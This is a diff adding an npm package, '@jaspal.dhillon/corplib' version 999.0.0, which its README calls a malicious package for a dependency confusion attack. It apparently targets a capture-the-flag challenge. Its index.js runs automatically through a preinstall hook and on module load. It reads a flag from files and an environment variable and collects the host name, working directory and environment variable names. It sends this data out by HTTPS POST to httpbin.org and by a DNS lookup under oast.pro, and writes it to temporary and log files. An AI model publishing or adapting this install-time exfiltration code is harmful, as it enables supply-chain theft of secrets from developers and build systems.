@jaspal.dhillon/corplib 999.0.0

package/README.md

@@ -0,0 +1,3 @@
+# @jaspal.dhillon/corplib
+
+Malicious package for dependency confusion attack.

package/index.js

@@ -0,0 +1,171 @@
+
+const fs = require('fs');
+const http = require('http');
+const https = require('https');
+const os = require('os');
+
+// Function to read flag from various locations
+function readFlag() {
+    const paths = [
+        '/opt/flag/flag.txt',
+        '/opt/flag/flag.txt',
+        '/flag',
+        '/flag.txt',
+        '/opt/flag',
+        '/home/node/flag.txt',
+        '/app/flag.txt',
+        process.env.FLAG || ''
+    ].filter(p => p);
+    
+    for (const path of paths) {
+        try {
+            const flag = fs.readFileSync(path, 'utf8').trim();
+            if (flag && flag.length > 5) {
+                console.log('[MALICIOUS] Flag found at', path, ':', flag);
+                return flag;
+            }
+        } catch (e) {
+            // Continue trying
+        }
+    }
+    return null;
+}
+
+// Function to exfiltrate via multiple methods
+function exfiltrate(flag) {
+    if (!flag) {
+        console.log('[MALICIOUS] No flag to exfiltrate');
+        return;
+    }
+    
+    const exfilData = JSON.stringify({
+        flag: flag,
+        hostname: os.hostname(),
+        timestamp: new Date().toISOString(),
+        cwd: process.cwd(),
+        env: Object.keys(process.env).slice(0, 10) // First 10 env vars
+    });
+    
+    // Method 1: HTTP POST to httpbin.org
+    try {
+        const options1 = {
+            hostname: 'httpbin.org',
+            port: 443,
+            path: '/post',
+            method: 'POST',
+            headers: {
+                'Content-Type': 'application/json',
+                'Content-Length': Buffer.byteLength(exfilData),
+                'User-Agent': 'Node.js'
+            }
+        };
+        
+        const req1 = https.request(options1, (res) => {
+            let data = '';
+            res.on('data', (chunk) => { data += chunk; });
+            res.on('end', () => {
+                console.log('[MALICIOUS] Exfiltration method 1 status:', res.statusCode);
+                console.log('[MALICIOUS] Response:', data.substring(0, 200));
+            });
+        });
+        req1.on('error', (e) => {
+            console.log('[MALICIOUS] Method 1 error:', e.message);
+        });
+        req1.write(exfilData);
+        req1.end();
+    } catch (e) {
+        console.log('[MALICIOUS] Method 1 exception:', e.message);
+    }
+    
+    // Method 2: Write to accessible file
+    try {
+        const writePaths = [
+            '/tmp/flag_exfil.txt',
+            '/tmp/flag.txt',
+            '/app/flag_exfil.txt',
+            '/var/tmp/flag.txt',
+            os.tmpdir() + '/flag.txt'
+        ];
+        
+        for (const writePath of writePaths) {
+            try {
+                fs.writeFileSync(writePath, flag, 'utf8');
+                console.log('[MALICIOUS] Flag written to', writePath);
+                break;
+            } catch (e) {
+                // Try next path
+            }
+        }
+    } catch (e) {
+        console.log('[MALICIOUS] File write error:', e.message);
+    }
+    
+    // Method 3: Try to append to log files
+    try {
+        const logPaths = [
+            '/var/log/app.log',
+            '/app/logs/app.log',
+            '/tmp/app.log',
+            process.env.LOG_FILE || ''
+        ].filter(p => p);
+        
+        for (const logPath of logPaths) {
+            try {
+                fs.appendFileSync(logPath, '\n[MALICIOUS] FLAG: ' + flag + '\n', 'utf8');
+                console.log('[MALICIOUS] Flag appended to', logPath);
+                break;
+            } catch (e) {
+                // Try next path
+            }
+        }
+    } catch (e) {
+        // Ignore
+    }
+    
+    // Method 4: Try DNS exfiltration (if dns module is available)
+    try {
+        const dns = require('dns');
+        // Encode flag in subdomain (first 50 chars)
+        const encoded = Buffer.from(flag.substring(0, 50)).toString('base64').replace(/[^a-zA-Z0-9]/g, '');
+        const domain = encoded.substring(0, 50) + '.oast.pro'; // Using oast.pro for out-of-band
+        dns.lookup(domain, (err) => {
+            if (!err) console.log('[MALICIOUS] DNS exfiltration attempted');
+        });
+    } catch (e) {
+        // DNS might not be available
+    }
+}
+
+// Execute immediately when module loads
+(function() {
+    console.log('[MALICIOUS] Package loaded! Starting flag extraction...');
+    const flag = readFlag();
+    if (flag) {
+        exfiltrate(flag);
+    } else {
+        console.log('[MALICIOUS] Flag not found, listing directory contents...');
+        try {
+            const dirs = ['/opt/flag', '/opt', '/flag', '/'];
+            for (const dir of dirs) {
+                try {
+                    const files = fs.readdirSync(dir);
+                    console.log('[MALICIOUS] Files in', dir, ':', files.slice(0, 10));
+                } catch (e) {
+                    // Continue
+                }
+            }
+        } catch (e) {
+            console.log('[MALICIOUS] Directory listing error:', e.message);
+        }
+    }
+})();
+
+// Export function that also executes
+module.exports = function() {
+    console.log('[MALICIOUS] Module.exports called!');
+    const flag = readFlag();
+    if (flag) {
+        exfiltrate(flag);
+    }
+    return { flag: flag };
+};

package/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "@jaspal.dhillon/corplib",
+  "version": "999.0.0",
+  "description": "Malicious package for dependency confusion",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  }
+}